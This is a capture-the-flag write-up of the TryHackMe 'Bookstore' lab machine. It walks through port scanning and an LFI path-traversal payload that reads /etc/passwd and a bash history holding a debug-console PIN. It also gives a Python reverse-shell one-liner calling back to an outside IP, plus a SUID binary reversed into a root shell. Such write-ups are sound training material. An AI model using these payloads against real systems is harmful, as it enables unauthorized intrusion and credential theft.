TryHackMe: Bookstore

December 1,2020

Room link: https://tryhackme.com/room/bookstoreoc

Enumeration

Port scanning


	nmap -sV -sC -v -oN scan.txt 10.10.242.39
	

	Nmap 7.80 scan initiated Mon Nov 30 21:17:11 2020 as: 
	Increasing send delay for 10.10.242.39 from 0 to 5 due to 46 out of 151 dropped probes since last increase.
	Nmap scan report for 10.10.242.39
	Host is up (0.095s latency).
	Not shown: 997 closed ports
	PORT     STATE SERVICE VERSION
	22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
	| ssh-hostkey: 
	|   2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
	|   256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
	|_  256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
	80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
	|_http-favicon: Unknown favicon MD5: 834559878C5590337027E6EB7D966AEE
	| http-methods: 
	|_  Supported Methods: OPTIONS HEAD GET POST
	|_http-server-header: Apache/2.4.29 (Ubuntu)
	|_http-title: Book Store
	5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.6.9)
	| http-methods: 
	|_  Supported Methods: GET OPTIONS HEAD
	| http-robots.txt: 1 disallowed entry 
	|_/api </p> 
	|_http-title: Home
	Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
	

We have SSH, a web service at port 80 and a web service at port 5000.

The main web app at port 80 was not very interesting. There was an endpoint /books.html which displayed a random assortment of books by AJAX requests to an api running on port 5000. I decided to focus my efforts on port 5000 to enumerate the api.

When visiting http://$IP:5000 we get a static page which informs us about the following api endpoints:


	/api/v2/resources/books/all (Retrieve all books and get the output in a json format) 
	/api/v2/resources/books/random4 (Retrieve 4 random records) 
	/api/v2/resources/books?id=1(Search by a specific parameter , id parameter) 
	/api/v2/resources/books?author=J.K. Rowling (Search by a specific parameter, this query will return all the books with author=J.K. Rowling) 
	/api/v2/resources/books?published=1993 (This query will return all the books published in the year 1993) 
	/api/v2/resources/books?author=J.K. Rowling&published=2003 (Search by a combination of 2 or more parameters)
	

Directory brute forcing

I ran dirsearch on this port 5000 service: png Found interesting endpoint: http://10.10.242.39:5000/console

However, it requires a PIN to access it. Will come back to this, or try to find PIN.

png

API fuzzing

All api endpoints that were provided, called /api/v2/... I tried making calls to /api/v1/... and this endpoint returned the same data as api/v2

This certainly caught my attention. Perhaps there are other endpoints at v1, or some vulnerability which was fixed in v2. I decided to look closer at the api calls made by the main website at /books.html

A quick look at the page source revealed that all static files were held under /assets/

I found file /assets/js/api.js, which made the AJAX requests. At the very bottom of the source was a comment:


	//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.
	

My suspicions were correct. We know we have LFI, likely from a GET parameter.

I used arjun to look for parameters:

png

... and quickly discovered that the parameter show was vulnerable to LFI:


	http://10.10.242.39:5000/api/v1/resources/books?show=../../../../etc/passwd
	
png

Looking at local files

Let's continue enumerating local files, and see if anything interesting exists.

In the working directory, I found user.txt and got the flag using with LFI: http://10.10.242.39:5000/api/v1/resources/books?show=user.txt

I then looked at the users bash history and found the console PIN with LFI: http://10.10.242.39:5000/api/v1/resources/books?show=.bash_history

png

I now had credentials for the console!

The console is simply a python interpreter. I was able to get a reverse shell by using:


	import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.22.43",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
	
and using nc -lnvp 4444 locally to catch the reverse shell.

We are now logged in as user sid.

png

Privilege Escalation / Reversing

In /home/sid there was an executable, try-harder, with SUID bit. This means we can run this executable with root priveleges.

I ran strings on this executable and saw /bin/bash in the output, which tells me that we can get a root shell through this executable, somehow.

When running ./try-harder we have the following prompt:

png

So now how do we find the magic number?

I disassembled the executable and started reversing.

png

In main, we use scanf to get user input, xor the input with 0x1116, xor the result of that with a local variable (in this case it is rbp-0x10, which is initialized with a value of 0x5db3), and finally compare the result with 0x5dcd21f4. If the result matches this constant, we have a root shell, otherwise the program says Incorrect Try Harder and exits.

We have to solve the equation: $$ 0x5dcd21f4 = (input \oplus 0x1116) \oplus 0x5db3 $$

Using the identities, \(a \oplus a = 0\) and \(a \oplus 0 = a\), we can solve for input: $$ 0x5dcd21f4 = (input \oplus 0x1116) \oplus 0x5db3 $$ $$ input = 0x5dcd21f4 \oplus 0x5db3 \oplus 0x1116 $$

Giving this value in decimal representation to the executable gives us our root shell:

png

All that is left is to cat out the root flag:


	cat /root/root.txt